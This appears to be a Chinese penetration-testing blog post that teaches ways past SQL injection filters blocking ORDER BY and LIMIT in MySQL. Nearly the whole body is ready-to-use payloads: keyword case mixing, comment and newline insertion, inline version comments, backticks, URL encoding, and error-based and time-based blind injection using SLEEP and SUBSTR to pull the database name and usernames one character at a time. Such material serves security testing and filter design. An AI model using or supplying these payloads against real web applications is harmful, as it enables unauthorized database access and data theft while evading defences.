渗透测试【绕过过滤order by 、limit】

目录

绕过 过滤order by

一、基础字符混淆

二、数据库特性利用(这里基于MySQL)

三、功能等价替代

1. 使用 GROUP BY + 聚合函数

2. 利用 UNION 子查询排序

3. 数学表达式排序

四、无ORDER BY的注入技巧

1. 错误盲注替代

2. 时间盲注探测

绕过 过滤limit

一、通用绕过方法

二、数据库特性利用(基于MySQL数据库)

三、无LIMIT的注入技巧

1. 联合查询控制结果数

2. 错误盲注分页

3. 时间盲注逐条提取


绕过 过滤order by

一、基础字符混淆

1. 大小写变形

  • 原理:利用数据库不区分关键字大小写的特性。

  • OrDeR By 1 -- 
    oRdeR bY (CASE WHEN 1=1 THEN id ELSE name END) --

2. 插入干扰字符 

  • 原理:通过注释符、空白符等分割关键字。

  • ORD/*随机注释*/ER BY 1 -- 
    ORD%0a%09BY 1   -- 换行符(%0a) + 制表符(%09)

二、数据库特性利用(这里基于MySQL)

 1、内联注释:

/*!50000ORDER BY*/ 1 -- 
-- 当MySQL版本≥5.0.0时执行

2、反引号包裹列名

SELECT * FROM users ORDER `BY` `id` -- 

三、功能等价替代

1. 使用 GROUP BY + 聚合函数

原理GROUP BY 默认排序(部分数据库生效)

SELECT * FROM users GROUP BY id -- MySQL可能按id排序
2. 利用 UNION 子查询排序
UNION SELECT 1,2,3 FROM users ORDER BY 1 -- 
-- 将ORDER BY注入到UNION后的子查询中
3. 数学表达式排序
SELECT * FROM users ORDER BY id+0 -- 
-- 转换为数值运算绕过关键字检测

四、无ORDER BY的注入技巧

1. 错误盲注替代

原理:通过触发错误判断排序逻辑。

ORDER BY (SELECT 1 UNION SELECT 2) -- 触发错误
-- 观察错误信息是否包含排序结果
2. 时间盲注探测
ORDER BY IF(SUBSTR(database(),1,1)='a', SLEEP(1), 1) -- MySQL
-- 根据响应延迟判断排序依据

绕过 过滤limit

一、通用绕过方法

1. 关键字混淆

  • 原理:利用数据库对关键字的宽松解析。

  • LIMIT 1 → LiMiT 1          -- 大小写混淆
    LIM%0aIT 1                 -- 插入换行符(%0a)
    L/**/IM/**/IT 1            -- 插入注释符
    %4c%49%4d%49%54%31         -- URL编码(LIMIT1)

2. 数值表达式替代 

原理:将数值转换为表达式绕过检测。

LIMIT 1 → LIMIT 0+1        -- 数学运算
LIMIT (SELECT 1)           -- 子查询返回数值

二、数据库特性利用(基于MySQL数据库)

内联注释

SELECT * FROM users /*!LIMIT*/ 1

反引号包裹关键字

SELECT * FROM users `LIMIT` 1

三、无LIMIT的注入技巧

1. 联合查询控制结果数
UNION SELECT 1,2,3 -- 默认返回所有行
→ 通过WHERE条件限制UNION结果:
UNION SELECT 1,2,3 WHERE 1=1 -- 仅返回一行
2. 错误盲注分页

原理:通过触发错误逐条提取数据。

LIMIT 0,1 → 替换为:
AND (SELECT 1 FROM (SELECT 1,2 FROM users LIMIT 0,1) AS sub) = 1
-- 若触发错误,则说明存在该行
3. 时间盲注逐条提取
AND IF((SELECT SUBSTR(username,1,1) FROM users)= 'a', SLEEP(1), 0)
-- 每次只验证一行首字符,无需LIMIT

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值